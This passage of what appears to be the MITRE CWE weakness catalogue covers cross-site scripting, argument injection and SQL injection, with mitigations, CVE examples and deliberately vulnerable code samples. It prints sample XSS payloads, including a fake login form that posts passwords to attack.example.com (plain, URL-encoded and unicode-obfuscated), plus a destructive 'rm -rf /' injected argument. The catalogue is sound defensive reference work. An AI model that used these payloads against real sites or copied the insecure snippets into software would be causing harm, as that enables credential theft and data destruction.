looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When dynamically constructing web pages, use stringent whitelists that limit the character set based on the expected value of the parameter in the request. All input should be validated and cleansed, not just parameters that the user is supposed to specify, but all data in the request, including hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. It is common to see data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended. Note that proper output encoding, escaping, and quoting is the most effective solution for preventing XSS, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent XSS, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, in a chat application, the heart emoticon ("<3>") would likely pass the validation step, since it is commonly used. However, it cannot be directly inserted into the web page because it contains the "<" character, which would need to be escaped or otherwise handled. In this case, stripping the "<" might reduce the risk of XSS, but it would produce incorrect behavior because the emoticon would not be recorded. This might seem to be a minor inconvenience, but it would be more important in a mathematical forum that wants to represent inequalities. Even if you make a mistake in your validation (such as forgetting one out of 100 input fields), appropriate encoding is still likely to protect you from injection-based attacks. As long as it is not done in isolation, input validation is still a useful technique, since it may significantly reduce your attack surface, allow you to detect some attacks, and provide other security benefits that proper encoding does not address. Ensure that you perform input validation at well-defined interfaces within the application. This will help protect the application even if a component is reused or moved elsewhere.

**Phase: Architecture and Design**

*Strategy = Enforcement by Conversion*

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.

**Phase: Operation**

*Strategy = Firewall*

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth.

*Effectiveness = Moderate*

*An application firewall might not cover all possible input vectors. In addition, attack techniques might be available to bypass the protection mechanism, such as using malformed inputs that can still be processed by the component that receives those inputs. Depending on functionality, an application firewall might inadvertently reject or modify legitimate requests. Finally, some manual effort may be required for customization.*

**Phase: Operation****Phase: Implementation**

*Strategy = Environment Hardening*

When using PHP, configure the application so that it does not use `register_globals`. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a `register_globals` emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

## Demonstrative Examples

### Example 1:

This code displays a welcome message on a web page based on the HTTP GET `username` parameter. This example covers a Reflected XSS (Type 1) scenario.

Example Language: PHP

(bad)

```
$username = $_GET['username'];echo '<div class="header"> Welcome, ' . $username . '</div>';
```

Because the parameter can be arbitrary, the url of the page could be modified so `$username` contains scripting syntax, such as

Example Language:

(attack)

```
http://trustedSite.example.com/welcome.php?username=<Script Language="Javascript">alert("You've been attacked!");</Script>
```

This results in a harmless alert dialogue popping up. Initially this might not appear to be much of a vulnerability. After all, why would someone enter a URL that causes malicious code to run on their own computer? The real danger is that an attacker will create the malicious URL, then use e-mail or social engineering tricks to lure victims into visiting a link to the URL. When victims click the link, they unwittingly reflect the malicious content through the vulnerable web application back to their own computers.

More realistically, the attacker can embed a fake login box on the page, tricking the user into sending the user's password to the attacker:

Example Language:

(attack)

```
http://trustedSite.example.com/welcome.php?username=<div id="stealPassword">Please Login:<form name="input" action="http://attack.example.com/stealPassword.php" method="post">Username: <input type="text" name="username" /><br/>Password: <input type="password" name="password" /><br/><input type="submit" value="Login" /></form></div>
```

If a user clicks on this link then `Welcome.php` will generate the following HTML and send it to the user's browser:

Example Language:

(result)

```
<div class="header"> Welcome, <div id="stealPassword"> Please Login: <form name="input" action="http://attack.example.com/stealPassword.php" method="post">Username: <input type="text" name="username" /><br/>Password: <input type="password" name="password" /><br/><input type="submit" value="Login" /></form> </div></div>
```

The trustworthy domain of the URL may falsely assure the user that it is OK to follow the link. However, an astute user may notice the suspicious text appended to the URL. An attacker may further obfuscate the URL (the following example links are broken into multiple lines for readability):

Example Language:

(attack)

```
trustedSite.example.com/welcome.php?username=%3Cdiv+id%3D%22stealPassword%22%3EPlease+Login%3A%3Cform+name%3D%22input%22+action%3D%22http%3A%2F%2Fattack.example.com%2FstealPassword.php%22+method%3D%22post%22%3EUsername%3A+%3Cinput+type%3D%22text%22+name%3D%22username%22+%2F%3E%3Cbr%2F%3EPassword%3A+%3Cinput+type%3D%22password%22+name%3D%22password%22+%2F%3E%3Cinput+type%3D%22submit%22+value%3D%22Login%22+%2F%3E%3C%2Fform%3E%3C%2Fdiv%3E%0D%0A
```

The same attack string could also be obfuscated as:

Example Language:

(attack)

```
trustedSite.example.com/welcome.php?username=<script+type="text/javascript">document.write("\u003C
\u0064\u0069\u0076\u0020\u0069\u0064\u003D\u0022\u0073\u0074\u0065\u0061\u006C
\u0050\u0061\u0073\u0073\u0077\u006F\u0072\u0064\u0022\u003E\u0050\u006C

\u0066\u006F\u0072\u006D\u0020\u006E\u0061\u006D\u0065\u003D\u0022\u0069\u006E
\u0070\u0075\u0074\u0022\u0020\u0061\u0063\u0074\u0069\u006F\u006E\u0065\u003D
\u0022\u0068\u0074\u0074\u0070\u003A\u002F\u002F\u0061\u0074\u0074\u0061\u0063\u006B
\u002E\u0065\u0078\u0061\u006D\u0070\u006C\u0065\u002E\u0063\u006F\u006D\u002F
\u0073\u0074\u0065\u0061\u006C\u0050\u0061\u0073\u0073\u0077\u006F\u0072\u0064\u002E
\u0070\u0068\u0070\u0022\u0020\u006D\u0065\u0074\u0068\u006F\u0064\u003D\u0022\u0070\u006F
\u0073\u0074\u0022\u003E\u0055\u0073\u0065\u0072\u006E\u0061\u006D\u0065\u003A\u0020\u003C\u0069\u006E
\u0070\u0075\u0074\u0020\u0074\u0079\u0070\u0065\u003D\u0022\u0074\u0065\u0078\u0074\u0022\u0020\u006E
\u0061\u006D\u0065\u003D\u0022\u0075\u0073\u0065\u0072\u006E\u0061\u006D\u0065\u0022\u0020\u002F
\u003E\u003C\u0062\u0072\u002F\u003E\u0050\u0061\u0073\u0073\u0077\u006F\u0072\u0064\u003A
\u0020\u003C\u0069\u006E\u0070\u0075\u0074\u0020\u0074\u0079\u0070\u0065\u003D
\u0022\u0070\u0061\u0073\u0073\u0077\u006F\u0072\u0064\u0022\u0020\u006E\u0061\u006D\u0065\u003D
\u0022\u0070\u0061\u0073\u0073\u0077\u006F\u0072\u0064\u0022\u0020\u002F\u003E\u003C
\u0069\u006E\u0070\u0075\u0074\u0020\u0074\u0079\u0070\u0065\u003D\u0022\u0073\u0075\u0062\u006D
\u0069\u0074\u0022\u0020\u0076\u0061\u006C\u0075\u0065\u003D\u0022\u004C\u006F\u0067\u0069\u006E
\u0022\u0020\u002F\u003E\u003C\u002F\u0066\u006F\u0072\u006D\u003E\u003C\u002F\u0064\u0069\u0076\u003E
\u000D");</script>
```

Both of these attack links will result in the fake login box appearing on the page, and users are more likely to ignore indecipherable text at the end of URLs.

### Example 2:

This example also displays a Reflected XSS (Type 1) scenario.

The following JSP code segment reads an employee ID, eid, from an HTTP request and displays it to the user.

Example Language: JSP

(bad)

```
<% String eid = request.getParameter("eid"); %>...Employee ID: <%= eid %>
```

The following ASP.NET code segment reads an employee ID number from an HTTP request and displays it to the user.

Example Language: ASP.NET

(bad)

```
<%protected System.Web.UI.WebControls.TextBox Login;protected System.Web.UI.WebControls.Label
EmployeeID;...EmployeeID.Text = Login.Text;%> <p><asp:label id="EmployeeID" runat="server" /></p>
```

The code in this example operates correctly if the Employee ID variable contains only standard alphanumeric text. If it has a value that includes meta-characters or source code, then the code will be executed by the web browser as it displays the HTTP response.

### Example 3:

This example covers a Stored XSS (Type 2) scenario.

The following JSP code segment queries a database for an employee with a given ID and prints the corresponding employee's name.

Example Language: JSP

(bad)

```
<%Statement stmt = conn.createStatement();ResultSet rs = stmt.executeQuery("select * from emp where id="+eid);if (rs !=
null) {rs.next();String name = rs.getString("name");}%> Employee Name: <%= name %>
```

The following ASP.NET code segment queries a database for an employee with a given employee ID and prints the name corresponding with the ID.

Example Language: ASP.NET

(bad)

```
<%protected System.Web.UI.WebControls.Label EmployeeName;...string query = "select * from emp where id=" + eid;sda
= new SqlDataAdapter(query, conn);sda.Fill(dt);string name = dt.Rows[0]["Name"];...EmployeeName.Text = name;
%><p><asp:label id="EmployeeName" runat="server" /></p>
```

This code can appear less dangerous because the value of name is read from a database, whose contents are apparently managed by the application. However, if the value of name originates from user-supplied data, then the database can be a conduit for malicious content. Without proper input validation on all data stored in the database, an attacker can execute malicious commands in the user's web browser.

#### Example 4:

The following example consists of two separate pages in a web application, one devoted to creating user accounts and another devoted to listing active users currently logged in. It also displays a Stored XSS (Type 2) scenario.

CreateUser.php

Example Language: PHP

(bad)

```
$username = mysql_real_escape_string($username);$fullName = mysql_real_escape_string($fullName);$query
= sprintf('Insert Into users (username,password) Values ("%s","%s","%s")', $username, crypt($password),
$fullName);mysql_query($query);.../
```

The code is careful to avoid a SQL injection attack (CWE-89) but does not stop valid HTML from being stored in the database. This can be exploited later when ListUsers.php retrieves the information:

ListUsers.php

Example Language: PHP

(bad)

```
$query = 'Select * From users Where loggedIn=true';$results = mysql_query($query); if (!$results) {exit;} //Print list of
users to page echo '<div id="userlist">Currently Active Users:'.while ($row = mysql_fetch_assoc($results)) {echo '<div
class="userNames">'. $row['fullName'].</div>';}echo '</div>';
```

The attacker can set their name to be arbitrary HTML, which will then be displayed to all visitors of the Active Users page. This HTML can, for example, be a password stealing Login message.

#### Example 5:

Consider an application that provides a simplistic message board that saves messages in HTML format and appends them to a file. When a new user arrives in the room, it makes an announcement:

Example Language: PHP

(bad)

```
$name = $_COOKIE["myname"];$announceStr = "$name just logged in."; //save HTML-formatted message to file;
implementation details are irrelevant for this example. saveMessage($announceStr);
```

An attacker may be able to perform an HTML injection (Type 2 XSS) attack by setting a cookie to a value like:

Example Language:

(attack)

```
<script>document.alert('Hacked');</script>
```

The raw contents of the message file would look like:

Example Language:

(result)

```
<script>document.alert('Hacked');</script> has logged in.
```

For each person who visits the message page, their browser would execute the script, generating a pop-up window that says "Hacked". More malicious attacks are possible; see the rest of this entry.

### Observed Examples

Reference	Description
<b>CVE-2014-8958</b>	Admin GUI allows XSS through cookie. <a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-8958">http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-8958</a>
<b>CVE-2017-9764</b>	Web stats program allows XSS through crafted HTTP header.
<b>CVE-2014-5198</b>	Web log analysis product allows XSS through crafted HTTP Referer header.
<b>CVE-2008-5080</b>	Chain: protection mechanism failure allows XSS <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5080">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5080</a>
<b>CVE-2006-4308</b>	Chain: incomplete blacklist (CWE-184) only checks "javascript:" tag, allowing XSS (CWE-79) using other tags <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4308">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4308</a>
<b>CVE-2007-5727</b>	Chain: incomplete blacklist (CWE-184) only removes SCRIPT tags, enabling XSS (CWE-79) <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5727">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5727</a>
<b>CVE-2008-5770</b>	Reflected XSS using the PATH_INFO in a URL <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5770">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5770</a>
<b>CVE-2008-4730</b>	Reflected XSS not properly handled when generating an error message <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4730">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4730</a>
<b>CVE-2008-5734</b>	Reflected XSS sent through email message. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5734">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5734</a>
<b>CVE-2008-0971</b>	Stored XSS in a security product. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0971">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0971</a>
<b>CVE-2008-5249</b>	Stored XSS using a wiki page. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5249">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5249</a>
<b>CVE-2006-3568</b>	Stored XSS in a guestbook application. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3568">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3568</a>
<b>CVE-2006-3211</b>	Stored XSS in a guestbook application using a javascript: URI in a bbcode img tag. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3211">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3211</a>
<b>CVE-2006-3295</b>	Chain: library file is not protected against a direct request (CWE-425), leading to reflected XSS (CWE-79). <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3295">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3295</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	635	Weaknesses Originally Used by NVD from 2008 to 2016	635	1666
MemberOf	C	712	OWASP Top Ten 2007 Category A1 - Cross Site Scripting (XSS)	629	1558
MemberOf	C	722	OWASP Top Ten 2004 Category A1 - Unvalidated Input	711	1562
MemberOf	C	725	OWASP Top Ten 2004 Category A4 - Cross-Site Scripting (XSS) Flaws	711	1564
MemberOf	C	751	2009 Top 25 - Insecure Interaction Between Components	750	1580

Nature	Type	ID	Name	V	Page
MemberOf	C	801	2010 Top 25 - Insecure Interaction Between Components	800	1582

MemberOf	C	1033	OWASP Top Ten 2017 Category A7 - Cross-Site Scripting (XSS)	1026	1663

## Notes

### Relationship

There can be a close relationship between XSS and CSRF (CWE-352). An attacker might use CSRF in order to trick the victim into submitting requests to the server in which the requests contain an XSS payload. A well-known example of this was the Samy worm on MySpace [REF-956]. The worm used XSS to insert malicious HTML sequences into a user's profile and add the attacker as a MySpace friend. MySpace friends of that victim would then execute the payload to modify their own profiles, causing the worm to propagate exponentially. Since the victims did not intentionally insert the malicious script themselves, CSRF was a root cause.

### Applicable Platform

XSS flaws are very common in web applications, since they require a great deal of developer discipline to avoid them.

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Cross-site scripting (XSS)
7 Pernicious Kingdoms			Cross-site Scripting
CLASP			Cross-site scripting
OWASP Top Ten 2007	A1	Exact	Cross Site Scripting (XSS)
OWASP Top Ten 2004	A1	CWE More Specific	Unvalidated Input
OWASP Top Ten 2004	A4	Exact	Cross-Site Scripting (XSS) Flaws
WASC	8		Cross-site Scripting
Software Fault Patterns	SFP24		Tainted input to command

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name
63	Cross-Site Scripting (XSS)
85	AJAX Fingerprinting
209	XSS Using MIME Type Mismatch
588	DOM-Based XSS
591	Reflected XSS
592	Stored XSS

## CWE-80: Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)

**Weakness ID** : 80

**Status**: Incomplete

**Structure** : Simple

**Abstraction** : Variant

### Description

The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special characters such as "<", ">", and "&" that could be interpreted as web-scripting elements when they are sent to a downstream component that processes web pages.

### Extended Description

This may allow such characters to be treated as control characters, which are executed client-side in the context of the user's session. Although this can be classified as an injection problem, the more pertinent issue is the improper conversion of such special characters to respective context-appropriate entities before displaying them to the user.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

**Language :** Language-Independent (*Prevalence = Undetermined*)

### Likelihood Of Exploit

High

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	
Integrity	Execute Unauthorized Code or Commands	
Availability		

### Potential Mitigations

#### Phase: Implementation

Carefully check each input parameter against a rigorous positive specification (whitelist) defining the specific characters and format allowed. All input should be neutralized, not just parameters that the user is supposed to specify, but all data in the request, including hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. We often encounter data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended.

#### Phase: Implementation

*Strategy = Output Encoding*

Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an

encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component. The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.

### Phase: Implementation

With Struts, write all data from form beans with the bean's filter attribute set to true.

### Phase: Implementation

*Strategy = Attack Surface Reduction*

To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XMLHttpRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.

*Effectiveness = Defense in Depth*

### Demonstrative Examples

#### Example 1:

In the following example, a guestbook comment isn't properly encoded, filtered, or otherwise neutralized for script-related tags before being displayed in a client browser.

*Example Language: JSP*

*(bad)*

```
<% for (Iterator i = guestbook.iterator(); i.hasNext(); ) {Entry e = (Entry) i.next(); %><p>Entry #<%= e.getId() %></p><p><%= e.getText() %></p><%> %>
```

### Observed Examples

## CWE-81: Improper Neutralization of Script in an Error Message Web Page

**Weakness ID :** 81

**Status:** Incomplete

**Structure :** Simple

**Abstraction :** Variant

### Description

The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special characters that could be interpreted as web-scripting elements when they are sent to an error page.

### Extended Description

Error pages may include customized 403 Forbidden or 404 Not Found pages. When an attacker can trigger an error that contains unneutralized input, then cross-site scripting attacks may be possible.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

## CWE-82: Improper Neutralization of Script in Attributes of IMG Tags in a Web Page

<b>Weakness ID</b> : 82	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Variant	

## Description

The web application does not neutralize or incorrectly neutralizes scripting elements within attributes of HTML IMG tags, such as the src attribute.

## Extended Description

Attackers can embed XSS exploits into the values for IMG attributes (e.g. SRC) that is streamed and then executed in a victim's browser. Note that when the page is loaded into a user's browsers, the exploit will automatically execute.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

## CWE-85: Doubled Character XSS Manipulations

**Weakness ID** : 85

**Status**: Draft

**Structure** : Simple

**Abstraction** : Variant

### Description

The web application does not filter user-controlled input for executable script disguised using doubling of the involved characters.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		79	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	151
PeerOf		675	Duplicate Operations on Resource	1233

*Relevant to the view "Development Concepts" (CWE-699)*

Nature	Type	ID	Name	Page
ChildOf	ⓑ	79	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	151

### Weakness Ordinalities

**Primary :**

### Applicable Platforms

**Language :** Language-Independent (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	
Integrity	Execute Unauthorized Code or Commands	
Availability		

### Potential Mitigations

#### Phase: Implementation

Resolve all filtered input to absolute or canonical representations before processing.

#### Phase: Implementation

Carefully check each input parameter against a rigorous positive specification (whitelist) defining the specific characters and format allowed. All input should be neutralized, not just parameters that the user is supposed to specify, but all data in the request, including tag attributes, hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. We often encounter data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended.

#### Phase: Implementation

*Strategy = Output Encoding*

Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component. The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.

#### Phase: Implementation

With Struts, write all data from form beans with the bean's filter attribute set to true.

#### Phase: Implementation

*Strategy = Attack Surface Reduction*

To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible

to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XMLHttpRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.

*Effectiveness = Defense in Depth*

### Observed Examples

## CWE-86: Improper Neutralization of Invalid Characters in Identifiers in Web Pages

<b>Weakness ID</b> : 86	<b>Status</b> : Draft
<b>Structure</b> : Simple	
<b>Abstraction</b> : Variant	

### Description

The software does not neutralize or incorrectly neutralizes invalid characters or byte sequences in the middle of tag names, URI schemes, and other identifiers.

### Extended Description

Some web browsers may remove these sequences, resulting in output that may have unintended control implications. For example, the software may attempt to remove a "javascript:" URI scheme, but a "java%00script:" URI may bypass this check and still be rendered as active javascript by some browsers, allowing XSS or other attacks.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

More importantly, XMLHttpRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.

*Effectiveness = Defense in Depth*

## Demonstrative Examples

### Example 1:

In the following example, an XSS neutralization routine checks for the lower-case "script" string but does not account for alternate strings ("SCRIPT", for example).

Example Language: Java

(bad)

```
public String preventXSS(String input, String mask) {return input.replaceAll("script", mask);}
```

## Observed Examples

Reference	Description
<b>CVE-2002-0738</b>	XSS using "&={script}". <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0738">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0738</a>

## CWE-88: Argument Injection or Modification

Weakness ID : 88

Status: Draft

Structure : Simple

Abstraction : Base

### Description

The software does not sufficiently delimit the arguments being passed to a component in another control sphere, allowing alternate arguments to be provided, leading to potentially security-relevant changes.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Execute Unauthorized Code or Commands	
Integrity	Alter Execution Logic	
Availability	Read Application Data	
Other	Modify Application Data	
<p><i>An attacker could include arguments that allow unintended commands or code to be executed, allow sensitive data to be read or modified or could cause other unintended behavior.</i></p>		

### Potential Mitigations

#### Phase: Architecture and Design

*Strategy = Input Validation*

Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, request headers as well as content, URL components, e-mail, files, databases, and any external systems that provide data to the application. Perform input validation at well-defined interfaces.

#### Phase: Implementation

*Strategy = Input Validation*

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

#### Phase: Implementation

Directly convert your input type into the expected data type, such as using a conversion function that translates a string into a number. After converting to the expected data type, ensure that the input's values fall within the expected range of allowable values and that multi-field consistencies are maintained.

**Phase: Implementation**

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180, CWE-181). Make sure that your application does not inadvertently decode the same input twice (CWE-174). Such errors could be used to bypass whitelist schemes by introducing dangerous inputs after they have been checked. Use libraries such as the OWASP ESAPI Canonicalization control. Consider performing repeated canonicalization until your input does not change any more. This will avoid double-decoding and similar scenarios, but it might inadvertently modify inputs that are allowed to contain properly-encoded dangerous content.

**Phase: Implementation**

When exchanging data between components, ensure that both components are using the same character encoding. Ensure that the proper encoding is applied at each interface. Explicitly set the encoding you are using whenever the protocol allows you to do so.

**Phase: Implementation**

When your application combines data from multiple sources, perform the validation after the sources have been combined. The individual data elements may pass the validation step but violate the intended restrictions after they have been combined.

**Phase: Testing**

Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible.

**Phase: Testing**

Use dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

**Demonstrative Examples****Example 1:**

The following simple program accepts a filename as a command line argument and displays the contents of the file back to the user. The program is installed setuid root because it is intended for use as a learning tool to allow system administrators in-training to inspect privileged system files without giving them the ability to modify them or damage the system.

*Example Language: C*

*(bad)*

```
int main(int argc, char** argv) {char cmd[CMD_MAX] = "/usr/bin/cat ";strcat(cmd, argv[1]);system(cmd);}
```

Because the program runs with root privileges, the call to `system()` also executes with root privileges. If a user specifies a standard filename, the call works as expected. However, if an attacker passes a string of the form `";rm -rf /"`, then the call to `system()` fails to execute `cat` due to a lack of arguments and then plows on to recursively delete the contents of the root partition.

Note that if `argv[1]` is a very long argument, then this issue might also be subject to a buffer overflow (CWE-120).

**Observed Examples**

## CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')

**Weakness ID** : 89  
**Structure** : Simple  
**Abstraction** : Base

**Status**: Draft

### Description

The software constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component.

## Extended Description

Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data. This can be used to alter query logic to bypass security checks, or to insert additional statements that modify the back-end database, possibly including execution of system commands. SQL injection has become a common issue with database-driven web sites. The flaw is easily detected, and easily exploited, and as such, any site or software package with even a minimal user base is likely to be subject to an attempted attack of this kind. This flaw depends on the fact that SQL makes no real distinction between the control and data planes.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

## Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

**Technology** : Database Server (*Prevalence = Undetermined*)

## Likelihood Of Exploit

High

## Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	

Scope	Impact	Likelihood
	<i>Since SQL databases generally hold sensitive data, loss of confidentiality is a frequent problem with SQL injection vulnerabilities.</i>	
Access Control	Bypass Protection Mechanism  <i>If poor SQL commands are used to check user names and passwords, it may be possible to connect to a system as another user with no previous knowledge of the password.</i>	
Access Control	Bypass Protection Mechanism  <i>If authorization information is held in a SQL database, it may be possible to change this information through the successful exploitation of a SQL injection vulnerability.</i>	
Integrity	Modify Application Data  <i>Just as it may be possible to read sensitive information, it is also possible to make changes or even delete this information with a SQL injection attack.</i>	

### Detection Methods

#### Automated Static Analysis

